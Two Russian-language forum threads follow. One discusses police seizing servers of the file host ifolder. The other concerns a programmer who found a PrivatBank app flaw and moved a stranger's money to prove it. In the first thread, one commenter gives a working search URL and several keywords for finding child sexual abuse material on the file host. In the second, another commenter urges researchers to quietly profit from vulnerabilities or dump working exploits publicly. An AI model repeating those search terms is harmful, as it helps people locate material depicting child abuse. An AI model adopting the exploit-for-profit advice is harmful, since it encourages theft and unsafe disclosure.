А все почему? Да потому что в правоохранительных органах нет людей, разбирающихся в IT и действуют он «по старинке».
esc
Все потому, что все молчат, как овцы. И режут по одному.
За бугром тоже, кстати, такое случается. Помнится хостера целиком органы закрыли.
robert
Такое государство накуй никому не нужно.

Я не очень люблю и американское государство, как и любое другое тоталитарное государство с нездоровыми амбициями и неуемной агрессией. Но сейчас наша «типа элита» сама себе роет яму. И завтра наш обычный русский человек снова задаст вопрос, кто ему удобнее: наши русский долбочиновник и мудолигарх с аппетитами без тормозов или американец, который, правда, ничуть не лучше. Но в момент «поедания одной гадины другой гадиной» у обычного человека будет время хотя бы передохнУть.
clockworkbird
Как поет одна хорошая группа: я так люблю свою страну, но ненавижу государство
Суки. Суки есть везде. Это не единственный пример беспредела. не первый. не последний. не самый ужасный.

Бюрократия
Маразмы
Перегибы
Похуизм

и прочее и прочее — все это наша любимая Россия. Россия, блядь. Страна будущего. И звучит гордо.
Надо перечитать «Я мигрирую» повнимательней.
SeVit
гильотина — отличное лекарство от головной боли
ilyaProphet
Если от детей интернет тупеет, то от власти он исчезает…
khorost
Схемама развития Российского бизнеса.

iz0
Пардон, тема та-такая во-волнующая, что я даже заикаюсь печатая
clockworkbird
Наше МВД реформировать?
Мы за это твои интернеты позакрываем!
iz0
Давайте не будем преувеличивать масштаб трагедии. На сервисе ведь и правда половина файлов — контрафакт. Такое вряд ли бы случилось с каким-нибудь интернет-магазином.
Думаю законодательство и практика работы органов усовершенствуются в ближайшие годы и такие перегибы исчезнут.

P.S.
Что мне нравится в призывах «валить»:
1. Их в 10N больше, чем реальных мигрантов.
2. Все отчего-то думают, что переезд решит все их проблемы. На самом деле проблема может быть в вас и переедет вместе с вами.
3. Интересный подход: бесплатно получить высшее в РФ, а работать — за рубежом. Представляете стоимость образования «там»?
clockworkbird
насчет интернет-магазина я бы не зарекался. аппетит приходит во время еды. конкуренты могут проспонсировать. посмотрим.
iz0
Судя по блогам коммерсантов, магазины в РФ пресуют на ура (оффлайновые), так что можно ожидать перехода в онлайн этого всего, а тут просто обкатываются.
shamaner
примеров подобных действий закончившихся в пользу власти масса: Ходорковский с ЮКОСом, Чичваркин с управлением К (кстати опять вот — управление К), попытка изъятия серверов у Ринета в Мск.

и если ситуацию с первыми двумя я комментировать не стану в силу не очень хорошей осведомленности (но факт в том, что оба встали в позу, а не прогнулись как кролики, за что и поплатились), то например тот же ринет — в чем был виноват? или у него там тоже все от контрафакта ломилось?

и даже если это так за контрафакт (хотя это не так, я не по наслышке знаю методы борьбы с ним в том же ifolder-е) — я уже писал тут несколько раз — попытка решить проблемы преступности в районе путем ядерной бомбардировки целого города — не кажутся мне цивилизованным способом решения проблем.
logan
Не очень понял вашу иронию.
Если вы взятки в институте даете, то ваше личное (подсудное) дело.
Или вы про что?
iz0
более того, у нас еще и приплачивают неплохо (не проживешь конечно, но половину-то покроет).
RiderSx
Торрентс эффект :)
clockworkbird
Я понимаю все тут кричат типа ой произвол и тп.
согласен что действия милиция во многом некорректны. Но надеюсь это просто операция по задержанию продавцов ДП в сети. ifolder содержит наверное крупнейший архив детской порнографии в рунете(да да. больше чем в контактике). и продавцы дп использовали его в качестве хостинга для своих материалов. Продавая пароли от своих архивов. Сайты они создают обычно на всяких блогспотах, либо бесплатных форум хостингов, в среднем время жизни сайта 1-4 месяца. Постоянно перезжали. а база материалов хранилась на ifolder, и практически всегда оставалась не вредимой. Администрация удаляла материалы гораздо медленней чем они пополняли новыми материалами/восстанавливали старые.
В общем я про то что это они немного запустили, поэтому я все таки частично их действия оправдываю.
К тому же сервера арестованы, и выключены. Никто никуда ничего пока что не увез.
Надеюсь после проверки и окончания этого этапа следствия все снова заработает.
corsarmega
вижу вы в теме по цп :)

«Администрация удаляла материалы гораздо медленней чем они пополняли новыми материалами восстанавливали старые.» — вот откуда у вас такая информация? Наверное за это у Агавы есть членство в фонде по борьбе с ЦП + куча грамот за сотрудничество с органами, правда?

Материалы подобного свойства удалялись мгновенно как только о них становилось известно. Просто потому что никто из агавы не покровительствует развитию цп и все понимают оборотную сторону медлительности в этих вопросах.
logan
>>вижу вы в теме по цп :)
Да интересуюсь этой темой, не в плане под****ть, а как явление. Раньше лет 6 назад с некоторыми знакомыми были в групе которые вскрывали, взламывали таких ребят. Я был больше по социальной инженерии, в смысле вливался в круг общения, участвовал в дискуссиях с ними и тд и тп. Ну а сейчас из любопытсва просто мониторю периодически ситуацию.
а материалы конечно удалилсь мгновенно как узнавали, но я же написал туда загружалось гораздо больше и быстрее чем они удаляли. Вот пример одного из запросов ifolderlinks.ru/isearch.html?search=12yo&size=1&pass=1&filetype=1&sort=1&order=1 (можно пробовать еще много популярных запросов, типа pthc, raygold, потом еще много новых ключевых слов появлялось)
В общем я вообще написал о том, что надеюсь это происходило в рамках следственного действия против продавцов, еще раз повторюсь ifolder использовался как хостинг для этого дела, причем относительно надежные, схема отработанная у них была.
af_sergey
при всём уважении вы зря ссылку дали. Я вот не знал, что по этому ключевому слову можно найти ДП, да и многие другие, думаю, то же.
MaxxArts
Ссылки и эти слова гуглятся интересующимися этими материалами элементарно. А так чем больше людей знают что скрывается за этим, возможно быстрее будут удалять подобные штуки.
Те логика такая — кто ищет подобный материал для себе. конечно в курсе ключевых слов. А многие кому и не нужно не вкурсе и пропускают мимо себя, а так нажмут кнопочку пожаловаться на контент ну и тд.
ilawyer
Я думаю, что адвокаты Агавы в порядке ст.123, 125 УПК РФ уже кучу жалоб в прокуратуру и суд настрочили, а если нет, то гнать таких адвокатов надо ко всем чертям.
Cosss
тут не жалобы а иски иль как там нужны уже. и не только агавы, а также всех клиентов этой компании — на предмет принесенного ущерба и упущенной прибыли. вот когда все завалят исками может одумаются и несколько раз подумают чем делать херню всякую.
adnull
Корректно было бы просто запросить нужную информацию. Я уверен что в этом случае агава выдаст информацию быстро и полностью. Очевидно, что это будет быстрее, чем изучение содержимого сотни серверов, во время которого сервис будет недоступен. Отсюда возмущение и крики о произволе.
IonDen
Спорить можем долго, но у меня например нет юридического или МВДэшного образвания. Поэтому по методологии ведения следствия четко ответить не могу.
Но с точки зрения логики, если действительно хчется всех накрыть и отрезать, без обидных утечек и тд, то пись серверов лучший вариант. А иначе, и пропадает доказательная база, и куча еще мелочей.
Например был ролик на hdd, а потом раз, нет ни ролика и ни того hdd на сервере, стоит новенький. А про старый можн чт угодно рассказать, от того что он вышел из строя и выкинуть, до того что его и никогда не было.
Опять же, я не то что бы правдываю, просто пытаюсь понять логику, ну и не нравится когда вот так однозначно у нас начинают кричать те плохие, а мы вот хорошие.
Но безусловно хорошо что такие дела идут под общественным наблюдением, это минимизирует шансы развития сценария рейдерских и других ментовских атак.
Я конечно оптимист, но хочется верить что тут действительно хотят накрыть торговцев ЦП, ибо так нагло и открыто они уже давно не действовали.
kibitzer
Поросёнок Пётр призывается в тред.
logan
23-го собираюсь на семинар представителей МВД по борьбе с электронными преступлениями. Спрошу, кто следующий на примете :)
alitvinenko
Не расскажите подробнее-что за семинар?
clockworkbird
Компьютерный детский кружок у нас сотрудничает с Университетом МВД. Каждый год проводят семинары по безопасности и правовым аспектам, как ловят нарушителей. Педагоги и дети задают вопросы.
Стенограмму опубликуем.
ser_gun
Компьютерный детский кружок пишет софт для мвд? В этом заключается сотрудничество? :)
LeKot
Надеюсь там ментов в клетке держат? А то за детей страшно.
clockworkbird
Ага, мне тоже интересно, куда идти ослиной мочой собравшихся закидывать XD
HoochieMen
У вас она в замороженном виде что ли? :-)
depb
Зачем такие сложности? Концентрированный консервант)
depb
Как говорится «просто добавь воды»)
twi
привыкайте, граждане. У нас в Украине уже давно так. Захотелось мусорам — пришли с ордером и всё вывезли. Только у нас компромиссов нет: захотели все сервера ДЦ — вывезли все.
gag_fenix
там перепутаны местами буквы были в изначальном тексте ЧС на самом деле СЧ, предполагаю «следственная часть». сейчас уже в текстах на ifolder-е все поправили, но по сети уже расползлась эта ошибка.
clockworkbird
Они уже обратили внимание: www.vesti.ru/doc.html?id=348091
esc
На файлхостингах порой хранятся вирусы и программы, при правильном применении (или неправильном) которых, можно запросто саботировать или прервать работу громадной корпорации. Там лежат рецепты изготовления бомбы в домашних условиях, идеи на миллионы и приватные данные слитые злобными хакерами. А доблестные стражи правопорядка ищут там порнуху.

Я мечтал жить в Великой стране, а не в стране великих Идиотов.
Stronzo
закрадывается подозрение, что это целенаправленно проводимая политика. если так, до нас в не столь далёком будущем новые откровения.
gag_fenix
Удивлен, что делегирование не приостановили =)
Блог «Я мигрирую» набирает популярность? И со временем совмещается с блогом «Мой бизнес»?
iz0
А мне АГАВА никогда не нравилась…
logan
Да нормальная компания, знающая толк в бизнесе. И все у них грамотно организовано — знаю не по наслышке. А проблемы у всех бывают и, как можно видеть, не всегда зависящие от самой компании.
gag_fenix
Не сочтите за некропостера, но можете поподробнее рассказать чем закончилось? Просто дали отмашку, типа «свободны», приносили ли какие извинения? Что вообще они сказали и обращались ли вы в прокуратуру или суд по результатам этой акции?
kostitsyn
Дали отмашку «свободны». Мы никуда более не обращались.
КПИшник Алексей Мохов, бывший сотрудник украинского Samsung и Viewdle, нашел уязвимость в Android-приложении «Приват24». ПриватБанк ответил неожиданно, обвинив программиста в попытке украсть средства со счетов клиентов банка.



Как сообщается на украинском портале студгазеты КПИ

Со слов Алексея:

Сейчас я занимаюсь софтом для служб такси в Киеве (как-то так вышло, что занесло в эту степь, раньше работал в Samsung & Viewdle). Так вот. Стояла задача периодически проверять баланс банковских карт ПриватБанка ну и если надо — переводить средства на другую карту. Почему ПриватБанка? Потому что у них одна из самых больших сетей ТСО (терминалов самообслуживания). Схема такова — таксист подходит к ТСО, приложение для пополнения счета в такси запрашивает номер карты, система выдает ему карту и ожидает поступления средств. Как только средства упали на карту — зачисляет средства в системе такси.

В ходе исследования протокола связи с банком я заметил пару ошибок в системе безопасности. Начал глубже копаться в них. Оказалось, что банк позволял еще и переводить средства с карты на карту хоть в другой банк, хоть в другую страну (через Visa/Mastercard). Это помимо доступа к конфиденциальным данным человека (баланс, счета, кредиты, депозиты в банке).

После проведения экспертизы я написал об этом в твиттер, связавшись с аккаунтом ПриватБанка. Помимо этого написал сотруднику ПриватБанка в Днепропетровск, чтобы на меня быстрее вышла Служба безопасности банка.

В тот же день вечером ПриватБанк из штабквартиры в Днепре написал служебку в Киевское отделение Привата на Печерске, написали само собой в отдел СБ. Со мной созвонился представитель Привата В. Максименко и предложил встретиться, показать и рассказать что там да как. Произвел впечатление опытного специалиста, никто не давил на меня (вроде даже и не думали).

Ну я приехал, показал и рассказал, как программисты Привата допустили дыру в безопасности. Показал, как можно подставить в принципе любого человека, даже председателя правления Привата. Еще я подменил официальное приложение банка (добавил в него свой код) и показал, что можно сделать с ним. Почти нереально отличить официальное от модифицированного. Они в шоке были, отдел из 8-10 человек в комнате, — все работают и в пол-уха слушают мой монолог про все эти дела.


«Нужно понимать, что он хакер. В цивилизованных странах это уже преступление. Изъян в системе, который он нашел, не является страшным, не особенно угрожает клиентам банка. Как только Мохов попытался перевести чужие деньги, наша система безопасности забила тревогу. Его бы обязательно нашли», – говорит начальник пресс-службы «ПриватБанка» Олег Серьга.

В результате ПриватБанк начал расследование попытки взлома своей системы безопасности программистом Алексеем Моховым, который ранее работал в компании Samsung и проекте Viewdle. В ближайшие две недели руководство банка решит, возбуждать ли дело по этому факту.
Jtu
Материальный ущерб никому не нанесен ведь. За что возбуждать дело?
mukizu
>В цивилизованных странах это уже преступление.

amosk
Так то ж в цивилизованных )
azudem
В цивилизованных странах банк бы ещё вознаграждение хакеру дал, а сам факт наличия уязвимости (пусть уже устранённой) не придавал бы огласке, ибо портит имидж.
vadimzz
мыслепреступление
dutchakdev
Та привет-банк еще то УГ.
Постоянно деньги куда-то деваются. Бывает даже такое что оплата не до конца проходит, деньги списаны а услуга не оплачена, видимо там о транзакциях никто не слышал…
И по-поводу «Его бы обязательно нашли» знаю сотни живых случаев когда у людей деньги пропадают и все…
ZweiAndersdenkenden
Кстати был случай у закомого, на чеке написало мелким шрифтом «транзакция будет проведена в течении трех суток». Трое суток! Я в шоке, как быстро деньги ходят в системе… наверное укрпочтой везут…
VolCh
Трое суток. Хех. Деньги со статусом «собственные средства» (входящий перевод на карту) получали статус «доступно» (то есть чтобы я мог расплатиться картой или снять кэш с неё) больше десяти суток. И то, похоже, триггером послужил мой вход в онлайн-банкинг.
ZweiAndersdenkenden
Более 10 суток? Ого, вот это они гонят…
VolCh
Регламент.
qrick
Возможно нахватаю сейчас минусов, но…

Например, по украинскому аналогу 272?

Я попытался несколько раз сделать перевод средств при помощи получения 4 последних цифр карты. У меня это получилось. Чтобы никого не подставлять, сделал перевод на свою карту. После успешного перевода написал в твиттер банка. Потом сотруднику банка.

То есть то, что назвали «мошенническими транзакциями», — это были твои тестовые попытки перевести деньги с одной карточки на другую?

Чтобы доказать, что уязвимость есть, нужно убедиться в работоспособности методов. Для этого случайным образом из базы данных ПриватБанка был выбран человек (фамилия у него как то на «У» начинается, не помню уже). Ну я доказал и пошел все показывать.


Т.е. не получая никакого разрешения от привата, он с чьего-то счета перевел себе на карточку сумму. Да, деньги он вернул, но фактически это взлом. Да и как по мне, публично через твиттер ставить в известность приват о том, что у них имеются дыры в безопасности, как-то дико.
Nonameface
Больше всего меня удивило, что снял деньги он не у своего знакомого по договоренности, а у левого человека.
Вот это было глупо.
Но я ни в коем случае не хочу оправдывать Приват — еще те засранцы.
taral
Вероятно он сам был в шоке что деньги взялись. Думаю если бы он больше склонялся к тому что это сработает то не переводил бы деньги с чужого счета.
DoctorZIP
>>> публично через твиттер ставить в известность
а им только так и доходит. Постоянно так общаюсь
maxic
Как говорил мой комбат: Можно и к столбу дое… ся, почему он без фуражки
Scratch
Чем признаться и страдать — лучше с$%*дить и молчать!)
soomrack
Он поступил правильно. Может быть это покажется парадоксом, но от честных поступков прибыли бывает больше. Теперь этот программист знаменит, и его с радостью возьмут в СБ многих компаний. И что самое главное — он зарекомендовал себя очень честным и порядочным человеком.
fshp
его с радостью возьмут в СБ многих компаний

Главное что бы не после нескольких лет колонии.
ikirin
Не согласен с тем, что возьмут в СБ многих компаний, т.к. СБ — это не программисты, а чекисты они действуют по факту, а все остальное это проблемы админов.
soomrack
Есть те, кто действуют по фактам, есть те кто разрабатывает софт для обнаружения фактов.
vdolynsky
Надо им писать масово сообщения о том что известно о новой такой же уязвимости в их программном продукте — «только мы теперь об этом вам не скажем». Кому то другому.
ktulhu
В случае, когда, например, у вас щипачи вытащат бумажник и отдадут администрации рынка, мол, видите, тут можно любого обокрасть, как вы отнесетесь к пропаже бумажника, осознанию факта, что это было воровство ради тестирования безопасности рынка? И, самое главное, как должна поступить администрация рынка по отношению к человеку, вытащившему бумажник? С моей точки зрения тут все просто: за благими намерениями кроется фактическое воровство (с точки зрения закона, а не справедливости). Да и с точки зрения справедливости тоже не все хорошо: используя такую же логику, мы скоро сможем увидеть всяких скрипт-киддиз разгуливающих по вашим квартире/дому с заявлениями «Я просто тестирую ваш дом на предмет уязвимостей».
pusto
Вашу аналогию следует подкорректировать:
— Устройства для ношения бумажников выдает администрация рынка.
— Бумажники на территории рынка носить разрешается исключительно в этих выданных администрацией устройствах. Иначе покупатель на рынок вообще не будет допущен.
— Деньгами из устройства клиент расплачивается не напрямую, а через сотрудников рынка. Сотрудники рынка, как оказалось, подслеповаты и спокойно могут расплатиться с чужого устройства — любого, на которое покажет вор.

Вот теперь аналогия ближе к рассматриваемой ситуации.
И теперь вина администрации рынка просматривается гораздо выше, чем вина человека, который продемонстрировал дырявость нанятых ею сотрудников. Поэтому ее желание сделать козлом отпущения хакера, а не себя, любимую, вызывает отвращение.
Что касается хакера, то его вина в том, что он проверял уязвимость не на своих, а на чужих счетах. Завел бы себе 2 карты и перечислял бы с одной на другую. Согласно вашей 2-ой аналогии: ходил бы по СВОЕМУ, а не чужому дому и проверял бы его на предмет уязвимостей.
ktulhu
его вина в том, что он проверял уязвимость не на своих

Хакер не «проверял уязвимость», а перечислил чужие деньги на свой банковский счет. Если мы позволим оправдывать обращение чужого имушества в свою пользу словами(!), мол, я тестировал уязвимость, то мы получим десятки тысяч ненаказанных уголовников в первый же день.

Я пытаюсь донести простую мысль: чужое брать нельзя. И наш «хакер» с точки зрения закона — вор вне завимости от участия банка в этой истории.

К банку тоже есть вопросы, но это другая история. Нужно подымать законодательство соседей, жаловаться регулятору и пр.
pusto
Хакер не «проверял уязвимость», а перечислил чужие деньги на свой банковский счет.

Проверка уязвимости — это попытка выполнить неразрешенную операцию. В случае с банком — это попытка провести неразрешенную транзакцию. Только успешное проведение неразрешенной транзакции позволяет заявлять о наличии уязвимости. Всё остальное — бла-бла-бла, ничем неподкрепленное.
Если несогласны — попробуйте предложить свой вариант проверки уязвимостей произвольных переводов.

Если мы позволим оправдывать обращение чужого имушества в свою пользу словами(!), мол, я тестировал уязвимость, то мы получим десятки тысяч ненаказанных уголовников в первый же день.

Вы меня не поняли. Прочитайте внимательнее — я нигде не оправдывал обращение чужого имущества в свою пользу. Наоборот, я считаю хакера виноватым: он для своего эксперимента использовал ЧУЖИЕ, а не свои деньги. А если бы использовал свои, то ваша претензия «обращение чужого имущества в свою пользу» превратилась бы в «обращение своего имущества в свою пользу», т.е. потеряла бы смысл. Согласны?
ktulhu
Да, похоже неправильно вас понял, но

он для своего эксперимента использовал ЧУЖИЕ, а не свои деньги

Даже если бы это были его деньги (переводимые с собственного счета на собственный же счет), это опять же — неправомерный доступ к комьютерной информации, просто без причинения ущерба третьим лицам.

По поводу «проверок уязвимостей». Уголовная статься, так или иначе покрывающая множество «операций, совершаемых для получения несанкционированного доступа к тому-то и тому-то» есть, думаю, во всех странах. Соостветственно, даже в поисках уязвимостей всегда есть уголовный подтекст. Никто не будет учитывать «благие намерения» в «поиске уязвимостей»: получил неправомерный доступ — получи срок. Таким образом, программа банка по поиску уязвимостей является (частично) подстрекательством к преступлению.

Мой вариант проверки уязвимостей (на примере банка): делается sandbox-environment с тестовыми счетами и пр. В андроид-приложении устанавливается developer mode. На сайте банка выдается автоматическое разрешение, инструкция к использованию и документ на обеспечение условий для тестирования ИмяФамилия, логины-пароли, сертификаты и остальное, все, что необходимо.
pusto
Я слабо представляю себе ситуацию, когда банк будет создавать sandbox-environment с тестовыми счетами каждому встречному-поперечному.
Представьте, что вы — IT-специалист банка. И приходит к вам начинающий недохакер и заявляет:
— У вас в протоколе обмена я обнаружил некое поле. Если его неправильно заполнить, то платеж станет неверным. Дайте мне возможность поэкспериментировать с его заполнением.
Ну не смешно ли? Во-первых, с чего он решил, что на стороне банка нет проверок этого поля? Может, там их штук 100, просто он о них еще не знает. Во-вторых, будете ли вы всем подряд, кто впервые ознакомился с протоколом обмена, выделять программные и аппаратные ресурсы для проверки их дилетантских догадок и давать упражняться во взломе своей банковской системы?

Мне кажется, это из области фантастики — ни один банк на такое не пойдет. Другое дело, когда речь идет о специализированной компании, профессионально занимающейся тестированием информационной безопасности.

Что касается уголовного подтекста поиска уязвимостей — это отдельный разговор.
С одной стороны, вседозволенность недопустима. А с другой стороны, если любой поиск считать уголовщиной, то это будет способствовать наплевательству на безопасность со стороны разработчиков (что, собственно, и произошло в обсуждаемом случае), а, значит, тоже недопустимо (см. законы Мерфи про дятла, способного разрушить всю цивилизацию).
ktulhu
Другое дело, когда речь идет о специализированной компании, профессионально занимающейся тестированием информационной безопасности

Я понимаю про компанию, но у нас есть специализированная кампания (крутить вниз). Еще раз повторюсь — у нас (и у соседей) невозможно искать уязвимости без попадания на «неправомерный доступ к компьютерной информации», кроме как, например, с использованием способа, который я предложил выше.

Я слабо представляю себе ситуацию, когда банк будет создавать sandbox-environment с тестовыми счетами каждому встречному-поперечному

Не надо каждому — сделать один на всех sandbox-environment и вперед, пусть ищут за денежку. И волки сыты и овцы целы и имидж где надо.
pusto
Не надо каждому — сделать один на всех sandbox-environment и вперед, пусть ищут за денежку.

Если вам не нравится слово «создавать», то я могу его заменить на «предоставлять»:
Я слабо представляю себе ситуацию, когда банк будет предоставлять sandbox-environment с тестовыми счетами каждому встречному-поперечному. Даже если sandbox — один на всех.

Обратите внимание: тот же ПриватБанк, на страничку которого вы привели ссылку, желает получать исключительно ГОТОВУЮ информацию, а не создавать условия для ее получения — предоставлять sandbox, документацию, тестовые логины/пароли и т.п. Оно и понятно: чем меньше людей знает, как всё устроено и работает, тем спокойнее банку спать. Поэтому я и не верю, что банки будут заниматься этим.
VolCh
получил неправомерный доступ — получи срок. Таким образом, программа банка по поиску уязвимостей является (частично) подстрекательством к преступлению.

А разве подобные программы не являются санкцией на доступ в обход средств защиты?
ktulhu
не являются санкцией на доступ в обход средств защиты

Зная любовь к бумажкам всего постсоветского пространства, думаю, что нет. Потому что, например, первое, что попросят правоохранительные органы — «разрешение на доступ в обход средств защиты», заверенное банком с печатями и подписями. И не дай бог там не будет указаны даты, временные промежутки, ответственные лица и т.д. и т.п.

Более того, банк в любой момент может убрать свою кампанию (сроки кампании на сайте не указаны) и сказать, что «нас вообще взломали и мы такую кампанию не проводили».

Если в двух словах — лучше не связываться. Я думаю, что идеальным является только такой вариант: а) находим уязвимости б) сообщаем банку любыми доступными средствами, не ограничиваясь только одним в) ждем 1 месяц, после чего выкладываем информацию на общедоступных блогах и публикуем соответствующий материал на Хабре в соответствующих разделах. Все это на условиях анонимности.

Все остальное — чревато. Особенно, если в свою пользу обращать чужие средства.
pusto
Я думаю, что идеальным является только такой вариант...

Если у вас нет на руках упомянутого вами договора с банком с печатью и подписями, то этот вариант тоже неидеален и чреват. А если есть, то фраза «все это на условиях анонимности» получается неуместной.
webportal
В СНГ одни не благодарные твари! Людям добро делаешь причём часто безвозмездно! А они! Сразу в суд. Ублюдки. У меня больше слов нет… Сам с такой реакцией сталкивался, и даже более на меня пытались дело завести…
Zmops
Меньше читайте советских газет
Вот оригинал истории от главного действующего лица kpishnik.kpi.ua/archives/1114

Все тихо, чинно, и разобрались что к чему. Даже на работу позвали.
tangro
Внимательнее читайте газеты: они сначала типа пригласили и разобрались, а потом подали в суд.
Killer
А можно уточнить, где именно писали, что уже подали в суд? В текущей статье упоминается только то, что рассматривают возможность возбуждения дела, но, это не значит, что уже что-то начали делать.
tangro
Вот посмотрите документики по другому аналогичному случаю.
Killer
Вы же сказали, что они подали на парня в суд, а в качестве факта почему-то отсылаете в 2010 год.
tangro
Я читал, что они подали заявление, но сканов документов не видел, поэтому ссылку дать не могу (да и не уверен, что читал в авторитетном источнике), а ссылка на аналогичный случай, просто как доказательство такой возможности и наличия прецедентов.
Zmops
Не Иванов, а Рабинович. Не в рулетку, а в дурака. Не 10 тысяч, а 100 рублей. И не выиграл, а проиграл
maxnag
Что-то уже не доступно ((
ZiGR
Интересные там комментарии. Одна «специалистка» даже рассказала нам об этой уязвимости (правда, надо ещё знать номер карты и CVV2-код), которая, по сути дела, является мануалом по «Оплате через интернет».
alexbozhko
Не совсем правомерное обобщение. Просто Приват это банк с репутацией. Была бы у меня такая репутация, я бы, наверное, застрелился.
webportal
Да не только приват банк. Одна из 30 контор в СНГ поступит нормально остальные начнут или угрожать или просто скажут всё нормально так и должно быть.
amosk
Не, все-таки у приветбанка особая репутация. Так сказать, на голову выше )
valbok
Всегда удивляло, у ПБ странная репутация, но как-то мало влияет на жизнеспособность. Такое ощущение, что не репутация определяет успешность (смайлик) этого банка.
alexbozhko
В украинском Forbes была замечательная статья о них. Чудесный банк, чудесный хозяин и вообще там Кафка с Кэроллом нервно курят в уголке.
Особые условия НБУ, более половины займов — афиллированым организациям (что наводит на мысль о фиктивных активах), рабовладельческое отношения к сотрудникам банка — это только малая доля того, что можно сказать о нем.
fossdev
Чела видать по молодости жизнь не била, не усвоил он истину что добрые дела наказуемы. Не только в СНГ, это везде так.
Всем ресерчерам следует уяснить: нашел уязвимость, юзай по-тихому, извлекай выгоду, если посадят то хоть не зазря. А если так уж хочется сообщить об уязвимости, то сообщать надо анонимно и не авторам софта, а всему миру, публикуя сразу рабочий эксплоит в открытых источниках. Только так можно получить положительный исход и не получить по морде.
AndrewShmig
Как бы жестоко всё это не звучало и не выглядело, но я согласен с вами полностью.
ababich
На улице гуляет папа с маленькой дочкой. Дочка заметила двух собачек в процессе любви:
— Папа, что собачки делают?

Папа (после паузы, вызванной мыслями как выйти из ситуации):
— Доча, собачка повредила себе лапку и другая собачка тащит ее на себе в больницу.

Дочка:
— Папа, почему этот мир так несправедлив: ты пытаешься помочь кому-то, а тебя еще и трахают за это?!
Sauron
«Нужно понимать, что он хакер. В цивилизованных странах это уже преступление.»
Какая чушь.
novoselov
«Он умеет пользуется интернетом, в цивилизованных странах это уже преступление!»
Скоро так и будет
isden
Если мне память не изменяет, в истории был период, когда было «он умеет читать и писать, это уже преступление». Как бы до такого обратно не докатились :(
Dm4k
На костер!
spacediver
серые роты- вперед!
theGluck
«А вы вообще историю знаете и думать умеете!»
yeputons
Само слово «хакер» уже сто лет в обед как не используется для обозначения «компьютерных взломщиков» — им преимущественно называют людей, которые любят что-то разбирать и модифицировать, заставлять работать «не так как задумано» — без преступной цели. Отсюда всякие лайфхакеры и т.п.

Что же касается цивилизованных стран, я хотел бы увидеть этот кодекс в котором есть статья «бытие хакером наказывается сроком лишения свободы в столько-то лет такого-то режима». Здесь правильно заметили что в цивилизованной стране этого программиста попытались бы взять на работу, да за приличную зарплату.
Sauron
Hacker (programmer subculture), who combines excellence, playfulness, cleverness and exploration in performed activities.

Wikipedia
sourcerer
The basic difference is this: hackers build things, crackers break them.
joann
Само слово «хакер» уже сто лет в обед как не используется для обозначения «компьютерных взломщиков»

Скажем так — оно особо и не использовалось для такого обозначения кроме как в жёлтых СМИ, а потом постепенно получило такое значение.
VolCh
В цивилизованных странах такое предприятие ещё и предложит у себя работу.
qRoC
Ну или хотя бы спасибо сказали и рекомендацию дали (или даже заплатили, зависит от жадности), если им не нужен сотрудник в штат.
Shark
В Приватбанке студенты работают по $200 в месяц (может сейчас чуть больше). Про них уже легенды ходят. Так что даже, если предложат — надо бежать.
XAMelleOH
Вы не поверите, но там платят $2000-3000
dinikin
Сам там работал да и вакансии поищите, Приват часто указывает зарплату
XAMelleOH
это не мешает им вносить правки «наживую» и ломать продакшн-сайт с завидной регулярностью
dinikin
ИМХО, пусть лучше так, чем как остальные украинские банки в каменном веке застряли… У кого еще из украинских банков есть приложения для смартов?
russum
Райффайзен, к примеру. Ну а то что приветбанк — «нечист на руку», убедился на личном опыте. Хотя, есть и покруче них.
Theo_from_Sed
СПДшникам райфайзен предлагает клиент для Windows Mobile. Очень современно, да
zapimir
Про СПД не знаю, у меня счёт в Кредобанке, там веб-банкинг. Ну а если Вам «современность банка» важнее собственного достоинства — вопросов не имею.
praporshik
Плакатик из теории большого взрыва jpg

Последняя версия Windows Mobile (не Windows Phone!) выпущена в 2010 году. Устройства под нее массово прекратили выпускать и того раньше.
beardog
Особенно меня прикалывает как всех клиентов привет-банка обязывают быть «мартышками с кредитками» на фотографиях… так и представляю себе внутренний ресурс привата: «Наши клиенты зверята». При попытке подобного плана фотографии, послал их нахрен. Впрочем, потом вообще их послал, хотя эти дегенераты до сих пор звонят, настаивая что у меня есть карточка, открытая в 2004 году и закрытая в 2005, а у них в системе она до сих пор не закрыта… короче, банк для клиентов «с приветом»… И плевать я хотел на их сеть банкоматов по всей стране, включая их банкинг.
praporshik
Мне наяривали год. Требовали денег. Я требовал письменных претензий. В конце концов сказал «а я вообще не уверен что вы — представитель банка». Следующий раз перезвонили через полгода. Предложили услуги. На требование прекратить звонки дико удивлялись. Но звонить перестали.
senia
Не надолго… я им писал о прекращении работы с ними уже раз 50 за последние 2-3 года, как СПД закрыл, так с этим развод-банком работать и не хочу… :)

Вообще непонимаю клиентов банка… одним из последних нововведений у банка, оказалось введение комиссии за снятие денег в собственных же банкоматах О_о У меня паника была просто от этого дятлизма… нет, мне не жалко копеек тех которые оплачиваются… но студент снимающий 20 грн из стипухи на сигареты, к примеру, и вынужденный заплатить 1-2 грн комиссии… Что с вами не так, люди?!!!
praporshik
Подайте заявление в милицию или прокуратуру. По закону они не имеют права хранить и обрабатывать личные данные клиентов, не имея на то письменного согласия клиента. Закон ввели в 2011-м. На архив не распространяется (обратной силы не имеет).
Кроме того, срок исковой давности по хозяйственным делам — 3 года. Т.е. если они не подали в суд спустя 3 года после «расставания» — это вымогательство.
Vertex
Ой, поверьте, этот закон до заднего места. Пройденный этап уже… Проще посылать их во всех направлениях. А вообще если звонят с 092 — то это значит привет-бонк.
PS: я им еще и people.net простить не могу… из интересного оператора сделали г@в#о :)
praporshik
Ну, у меня заткнулись после тонких намёков.

люди.нет — это вообще фейерично.
Vertex
Без наездов… :) People.Net первый кто начал приличное что-то предоставлять по ценам. Развязало руки, и увеличило радиус действия моих поездок сначала до 50 км за город. Потом правда перешел на Интертелеком и увеличил радиус действия до водоема на котором и рыбу половить и поработать можно… :)

А вот когда эти пинчеры выкупили пиплонет, оно окончательно здохло.
praporshik
Сдохло оно через год после покупки. Мне для поездок за город кроме них альтернативы нет, покрытие в том районе только у них и GSM. Так что ой.
Vertex
А CDMA от Intertelecom не пробовали? Модем кстати перепрошить пипловый можно, если у Вас еще rev.A остался. А интер сейчас в принципе много чего покрывает, у Вас не указан регион, думал на карте глянуть: www.intertelecom.ua/ru/aboutcompany/cmap
До 2Мбит я имею практически везде. Разве что в Закарпатье в горах не везде ловит (в селах — есть).
praporshik
Пробовали, правда тогда это ещё был CDMA.UA. Половина села с покрытием, половина — без. Мне надо как раз там, где покрытия нет.
www.intertelecom.ua/ua/aboutcompany/cmap/dn
Судя по карте, ситуация не изменилась.
Vertex
